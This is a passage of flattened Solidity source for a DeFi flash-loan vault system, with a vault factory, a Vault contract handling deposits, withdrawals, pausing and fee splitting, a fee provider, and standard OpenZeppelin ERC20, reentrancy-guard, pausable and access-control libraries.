vault = new Vault{salt: salt}(ERC20(stakedToken)); vaults.push(address(vault)); vaultExists[address(vault)] = true; tokenToVault[stakedToken] = address(vault); vault.initialize(treasuryAddress, flashLoanProviderAddress, maxCapacity); vault.transferModeratorship(moderator()); //Moderator of VaultFactory is moderator of Vault. Otherwise moderator would be the VaultFactory emit VaultCreated(address(vault)); } /** * @dev Withdraw funds payed as tax for Vault listing. **/ function withdraw() external onlyModerator { require( tokenToPayInFee.transfer(msg.sender, tokenToPayInFee.balanceOf(address(this))), 'WITHDRAW_TRANSFER_ERROR' ); } /** * @dev Count how many vaults have been created so far. * @return Number of vaults created. */ function countVaults() external view returns (uint256) { return vaults.length; } /** * @dev Precompute address of vault. * @param stakedToken address for a specific vault liquidity token. * @return Address a vault will have. */ function precomputeAddress(address stakedToken) external view returns (address) { bytes32 salt = keccak256(abi.encodePacked(stakedToken)); return address( uint160( uint256( keccak256( abi.encodePacked( bytes1(0xff), address(this), salt, keccak256( abi.encodePacked( type(Vault).creationCode, abi.encode(ERC20(stakedToken)) ) ) ) ) ) ) ); } } // SPDX-License-Identifier: BUSL-1.1 pragma solidity 0.8.4; interface IERC3156FlashBorrower { /** * @dev Receive a flash loan. * @param initiator The initiator of the loan. * @param token The loan currency. * @param amount The amount of tokens lent. * @param fee The additional amount of tokens to repay. * @param data Arbitrary data structure, intended to contain user-defined parameters. * @return The keccak256 hash of "ERC3156FlashBorrower.onFlashLoan" */ function onFlashLoan( address initiator, address token, uint256 amount, uint256 fee, bytes calldata data ) external returns (bytes32); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC20.sol"; import "./extensions/IERC20Metadata.sol"; import "../../utils/Context.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // SPDX-License-Identifier: BUSL-1.1 pragma solidity 0.8.4; interface IVaultFactory { /** * @dev Emitted on vault created. * @param vault the address of the vault. **/ event VaultCreated(address vault); /** * @dev Emitted on setting new treasury address. * @param treasuryAddress the address of treasury. **/ event VaultFactorySetTreasuryAddress(address treasuryAddress); /** * @dev Emitted on fee changes. * @param fee amount to publish Vault. **/ event VaultFactorySetFeeToPublishVault(uint256 fee); } // SPDX-License-Identifier: BUSL-1.1 pragma solidity 0.8.4; import '@openzeppelin/contracts/token/ERC20/IERC20.sol'; import '@openzeppelin/contracts/token/ERC20/ERC20.sol'; import '@openzeppelin/contracts/security/ReentrancyGuard.sol'; import './ERC20EToken.sol'; import './CoreConstants.sol'; import './FlashLoanFeeProvider.sol'; import './interfaces/IVault.sol'; contract Vault is Moderable, IVault, CoreConstants, ERC20EToken, FlashLoanFeeProvider, ReentrancyGuard { ERC20 public stakedToken; address public treasuryAddress; address public flashLoanProviderAddress; uint256 public totalAmountDeposited = 0; uint256 public minAmountForFlash = 0; uint256 public maxCapacity = 0; bool public isPaused = true; bool public isInitialized = false; address public factory; mapping(address => uint256) public lastDepositBlockNr; /** * @dev Only if vault is not paused. **/ modifier onlyNotPaused { require(isPaused == false, 'ONLY_NOT_PAUSED'); _; } /** * @dev Only if vault is not initialized. **/ modifier onlyNotInitialized { require(isInitialized == false, 'ONLY_NOT_INITIALIZED'); _; } /** * @dev Only if msg.sender is flash loan provider. **/ modifier onlyFlashLoanProvider { require(flashLoanProviderAddress == msg.sender, 'ONLY_FLASH_LOAN_PROVIDER'); _; } constructor(ERC20 _stakedToken) ERC20EToken( string(abi.encodePacked(_stakedToken.symbol(), ' eVault LP')), string(abi.encodePacked('e', _stakedToken.symbol())) ) { factory = msg.sender; stakedToken = _stakedToken; } /** * @dev Initialize vault contract. * @param _treasuryAddress address of treasury where part of flash loan fee is sent. * @param _flashLoanProviderAddress provider of flash loans * @param _maxCapacity max capacity for a vault */ function initialize( address _treasuryAddress, address _flashLoanProviderAddress, uint256 _maxCapacity ) external override onlyModerator onlyNotInitialized { treasuryAddress = _treasuryAddress; flashLoanProviderAddress = _flashLoanProviderAddress; maxCapacity = _maxCapacity; isPaused = false; isInitialized = true; } /** * @dev Getter for number of decimals. * @return number of decimals of eToken. */ function decimals() public view virtual override returns (uint8) { return stakedToken.decimals(); } /** * @dev Setter for max capacity. * @param _maxCapacity new value to be set. */ function setMaxCapacity(uint256 _maxCapacity) external onlyModerator { maxCapacity = _maxCapacity; } /** * @dev Setter for minimum amount for flash. * @param _minAmountForFlash Minimum amount for a flash. */ function setMinAmountForFlash(uint256 _minAmountForFlash) external onlyModerator { minAmountForFlash = _minAmountForFlash; } /** * @dev Get number of tokens to mint. * @param amount of tokens deposited into Vault in order to receive eTokens. */ function getNrOfETokensToMint(uint256 amount) internal view returns (uint256) { return (amount * getRatioForOneToken()) / RATIO_MULTIPLY_FACTOR; } /** * @dev Provide liquidity to Vault. * @param amount The amount of liquidity to be deposited. */ function provideLiquidity(uint256 amount) external onlyNotPaused nonReentrant { require(amount > 0, 'CANNOT_STAKE_ZERO_TOKENS'); require(amount + totalAmountDeposited <= maxCapacity, 'AMOUNT_IS_BIGGER_THAN_CAPACITY'); uint256 receivedETokens = getNrOfETokensToMint(amount); totalAmountDeposited = amount + totalAmountDeposited; _mint(msg.sender, receivedETokens); require( stakedToken.transferFrom(msg.sender, address(this), amount), 'TRANSFER_STAKED_FAIL' ); emit Deposit(msg.sender, amount, receivedETokens, lastDepositBlockNr[msg.sender]); lastDepositBlockNr[msg.sender] = block.number; } /** * @dev Remove liquidity. * @param amount of eTokens to be removed from Vault. */ function removeLiquidity(uint256 amount) external nonReentrant { require(amount <= balanceOf(msg.sender), 'AMOUNT_BIGGER_THAN_BALANCE'); uint256 stakedTokensToTransfer = getStakedTokensFromAmount(amount); totalAmountDeposited = totalAmountDeposited - (amount * totalAmountDeposited) / totalSupply(); _burn(msg.sender, amount); require(stakedToken.transfer(msg.sender, stakedTokensToTransfer), 'TRANSFER_STAKED_FAIL'); emit Withdraw(msg.sender, amount, stakedTokensToTransfer); } /** * @dev One eToken to token * @return The current eToken ratio. */ function getRatioForOneEToken() public view returns (uint256) { if (totalSupply() > 0 && stakedToken.balanceOf(address(this)) > 0) { return (stakedToken.balanceOf(address(this)) * RATIO_MULTIPLY_FACTOR) / totalSupply(); } return 1 * RATIO_MULTIPLY_FACTOR; } /** * @dev One token to eToken * @return The current staked token ratio. */ function getRatioForOneToken() public view returns (uint256) { if (totalSupply() > 0 && stakedToken.balanceOf(address(this)) > 0) { return (totalSupply() * RATIO_MULTIPLY_FACTOR) / stakedToken.balanceOf(address(this)); } return 1 * RATIO_MULTIPLY_FACTOR; } /** * @dev Pause vault. */ function pauseVault() external onlyModerator { require(isPaused == false, 'VAULT_ALREADY_PAUSED'); isPaused = true; } /** * @dev Unpause vault. */ function unpauseVault() external onlyModerator { require(isPaused == true, 'VAULT_ALREADY_RESUMED'); isPaused = false; } /** * @dev FlashLoanProvider can transfer funds from sender to Vault. * @param sender Address from where the funds are sent to Vault. * @param amount Amount of funds to be sent. * @return Transfer result. */ function transferFromAccount(address sender, uint256 amount) external onlyFlashLoanProvider onlyNotPaused returns (bool) { return stakedToken.transferFrom(sender, address(this), amount); } /** * @dev FlashLoanProvider can send funds in name of Vault * @param recipient Address where the funds are sent. * @param amount Amount of funds to be sent. * @return Transfer result. */ function transferToAccount(address recipient, uint256 amount) external onlyFlashLoanProvider onlyNotPaused returns (bool) { return stakedToken.transfer(recipient, amount); } /** * @dev The amount of staked tokens. * @param amount of eTokens deposited to be burned. * @return The amount of staked tokens to send to address. */ function getStakedTokensFromAmount(uint256 amount) internal view returns (uint256) { return (amount * getRatioForOneEToken()) / RATIO_MULTIPLY_FACTOR; } /** * @dev Split fees * @param fee Fee amount to be split */ function splitFees(uint256 fee) external onlyFlashLoanProvider returns (uint256 treasuryAmount) { treasuryAmount = getTreasuryAmountToSend(fee); require(stakedToken.transfer(treasuryAddress, treasuryAmount), 'TRANSFER_SPLIT_FAIL'); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC20.sol"; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: BUSL-1.1 pragma solidity 0.8.4; import '@openzeppelin/contracts/token/ERC20/presets/ERC20PresetMinterPauser.sol'; contract ERC20EToken is ERC20PresetMinterPauser { constructor(string memory name, string memory symbol) ERC20PresetMinterPauser(name, symbol) {} } // SPDX-License-Identifier: BUSL-1.1 pragma solidity 0.8.4; abstract contract CoreConstants { uint256 internal constant RATIO_MULTIPLY_FACTOR = 10**6; } // SPDX-License-Identifier: BUSL-1.1 pragma solidity 0.8.4; import './interfaces/IFlashLoanFeeProvider.sol'; import './roles/Moderable.sol'; contract FlashLoanFeeProvider is IFlashLoanFeeProvider, Moderable { uint256 public treasuryFeePercentage = 10; uint256 public flashFeePercentage = 5; uint256 public flashFeeAmountDivider = 10000; /** * @dev Custom formula for calculating fee. * @param _flashFeePercentage to use for future calculations. * @param _flashFeeAmountDivider to use for future calculations. */ function setFee(uint256 _flashFeePercentage, uint256 _flashFeeAmountDivider) external override onlyModerator { require(_flashFeeAmountDivider > 0, 'AMOUNT_DIVIDER_CANNOT_BE_ZERO'); require(_flashFeePercentage <= 100, 'FEE_PERCENTAGE_WRONG_VALUE'); flashFeePercentage = _flashFeePercentage; flashFeeAmountDivider = _flashFeeAmountDivider; emit SetFee(_flashFeePercentage, _flashFeeAmountDivider); } /** * @dev Treasury amount to send. * @param amount to be used for getting treasury value to be sent. */ function getTreasuryAmountToSend(uint256 amount) internal view returns (uint256) { return (amount * treasuryFeePercentage) / 100; } /** * @dev Change treasury fee percentage. * @param _treasuryFeePercentage to use for future calculations. */ function setTreasuryFeePercentage(uint256 _treasuryFeePercentage) external onlyModerator { require(_treasuryFeePercentage <= 100, 'TREASURY_FEE_PERCENTAGE_WRONG_VALUE'); treasuryFeePercentage = _treasuryFeePercentage; emit SetTreasuryFeePercentage(treasuryFeePercentage); } /** * @dev Custom formula for calculating fee. * @return flashFee calculated. */ function calculateFeeForAmount(uint256 amount) external view returns (uint256) { return (amount * flashFeePercentage) / flashFeeAmountDivider; } } // SPDX-License-Identifier: BUSL-1.1 pragma solidity 0.8.4; interface IVault { /** * @dev Emitted on new deposit. * @param sender address. * @param amount deposited. * @param tokensToMint on new deposit. **/ event Deposit( address indexed sender, uint256 amount, uint256 tokensToMint, uint256 previousDepositBlockNr ); /** * @dev Emitted on withdraw. * @param sender address to withdraw to. * @param amount of eTokens burned. * @param stakedTokensToTransfer to address. **/ event Withdraw(address indexed sender, uint256 amount, uint256 stakedTokensToTransfer); /** * @dev Emitted on initialize. * @param treasuryAddress address of treasury where part of flash loan fee is sent. * @param flashLoanProvider provider of flash loans. * @param maxCapacity max capacity for a vault **/ function initialize( address treasuryAddress, address flashLoanProvider, uint256 maxCapacity ) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../ERC20.sol"; import "../extensions/ERC20Burnable.sol"; import "../extensions/ERC20Pausable.sol"; import "../../../access/AccessControlEnumerable.sol"; import "../../../utils/Context.sol"; /** * @dev {ERC20} token, including: * * - ability for holders to burn (destroy) their tokens * - a minter role that allows for token minting (creation) * - a pauser role that allows to stop all token transfers * * This contract uses {AccessControl} to lock permissioned functions using the * different roles - head to its documentation for details. * * The account that deploys the contract will be granted the minter and pauser * roles, as well as the default admin role, which will let it grant both minter * and pauser roles to other accounts. */ contract ERC20PresetMinterPauser is Context, AccessControlEnumerable, ERC20Burnable, ERC20Pausable { bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE"); bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE"); /** * @dev Grants `DEFAULT_ADMIN_ROLE`, `MINTER_ROLE` and `PAUSER_ROLE` to the * account that deploys the contract. * * See {ERC20-constructor}. */ constructor(string memory name, string memory symbol) ERC20(name, symbol) { _setupRole(DEFAULT_ADMIN_ROLE, _msgSender()); _setupRole(MINTER_ROLE, _msgSender()); _setupRole(PAUSER_ROLE, _msgSender()); } /** * @dev Creates `amount` new tokens for `to`. * * See {ERC20-_mint}. * * Requirements: * * - the caller must have the `MINTER_ROLE`. */ function mint(address to, uint256 amount) public virtual { require(hasRole(MINTER_ROLE, _msgSender()), "ERC20PresetMinterPauser: must have minter role to mint"); _mint(to, amount); } /** * @dev Pauses all token transfers. * * See {ERC20Pausable} and {Pausable-_pause}. * * Requirements: * * - the caller must have the `PAUSER_ROLE`. */ function pause() public virtual { require(hasRole(PAUSER_ROLE, _msgSender()), "ERC20PresetMinterPauser: must have pauser role to pause"); _pause(); } /** * @dev Unpauses all token transfers. * * See {ERC20Pausable} and {Pausable-_unpause}. * * Requirements: * * - the caller must have the `PAUSER_ROLE`. */ function unpause() public virtual { require(hasRole(PAUSER_ROLE, _msgSender()), "ERC20PresetMinterPauser: must have pauser role to unpause"); _unpause(); } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override(ERC20, ERC20Pausable) { super._beforeTokenTransfer(from, to, amount); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../ERC20.sol"; import "../../../utils/Context.sol"; /** * @dev Extension of {ERC20} that allows token holders to destroy both their own * tokens and those that they have an allowance for, in a way that can be * recognized off-chain (via event analysis). */ abstract contract ERC20Burnable is Context, ERC20 { /** * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. */ function burn(uint256 amount) public virtual { _burn(_msgSender(), amount); } /** * @dev Destroys `amount` tokens from `account`, deducting from the caller's * allowance. * * See {ERC20-_burn} and {ERC20-allowance}. * * Requirements: * * - the caller must have allowance for ``accounts``'s tokens of at least * `amount`. */ function burnFrom(address account, uint256 amount) public virtual { uint256 currentAllowance = allowance(account, _msgSender()); require(currentAllowance >= amount, "ERC20: burn amount exceeds allowance"); _approve(account, _msgSender(), currentAllowance - amount); _burn(account, amount); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../ERC20.sol"; import "../../../security/Pausable.sol"; /** * @dev ERC20 token with pausable token transfers, minting and burning. * * Useful for scenarios such as preventing trades until the end of an evaluation * period, or having an emergency switch for freezing all token transfers in the * event of a large bug. */ abstract contract ERC20Pausable is ERC20, Pausable { /** * @dev See {ERC20-_beforeTokenTransfer}. * * Requirements: * * - the contract must not be paused. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override { super._beforeTokenTransfer(from, to, amount); require(!paused(), "ERC20Pausable: token transfer while paused"); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./AccessControl.sol"; import "../utils/structs/EnumerableSet.sol"; /** * @dev External interface of AccessControlEnumerable declared to support ERC165 detection. */ interface IAccessControlEnumerable { function getRoleMember(bytes32 role, uint256 index) external view returns (address); function getRoleMemberCount(bytes32 role) external view returns (uint256); } /** * @dev Extension of {AccessControl} that allows enumerating the members of each role. */ abstract contract AccessControlEnumerable is IAccessControlEnumerable, AccessControl { using EnumerableSet for EnumerableSet.AddressSet; mapping (bytes32 => EnumerableSet.AddressSet) private _roleMembers; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControlEnumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns one of the accounts that have `role`. `index` must be a * value between 0 and {getRoleMemberCount}, non-inclusive. * * Role bearers are not sorted in any particular way, and their ordering may * change at any point. * * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure * you perform all queries on the same block. See the following * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post] * for more information. */ function getRoleMember(bytes32 role, uint256 index) public view override returns (address) { return _roleMembers[role].at(index); } /** * @dev Returns the number of accounts that have `role`. Can be used * together with {getRoleMember} to enumerate all bearers of a role. */ function getRoleMemberCount(bytes32 role) public view override returns (uint256) { return _roleMembers[role].length(); } /** * @dev Overload {grantRole} to track enumerable memberships */ function grantRole(bytes32 role, address account) public virtual override { super.grantRole(role, account); _roleMembers[role].add(account); } /** * @dev Overload {revokeRole} to track enumerable memberships */ function revokeRole(bytes32 role, address account) public virtual override { super.revokeRole(role, account); _roleMembers[role].remove(account); } /** * @dev Overload {renounceRole} to track enumerable memberships */ function renounceRole(bytes32 role, address account) public virtual override { super.renounceRole(role, account); _roleMembers[role].remove(account); } /** * @dev Overload {_setupRole} to track enumerable memberships */ function _setupRole(bytes32 role, address account) internal virtual override { super._setupRole(role, account); _roleMembers[role].add(account); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor () { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; import "../utils/Strings.sol"; import "../utils/introspection/ERC165.sol"; /** * @dev External interface of AccessControl declared to support ERC165 detection. */ interface IAccessControl { function hasRole(bytes32 role, address account) external view returns (bool); function getRoleAdmin(bytes32 role) external view returns (bytes32); function grantRole(bytes32 role, address account) external; function revokeRole(bytes32 role, address account) external; function renounceRole(bytes32 role, address account) external; } /** * @dev Contract module that allows children to implement role-based access * control mechanisms. This is a lightweight version that doesn't allow enumerating role * members except through off-chain means by accessing the contract event logs. Some * applications may benefit from on-chain enumerability, for those cases see * {AccessControlEnumerable}. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract 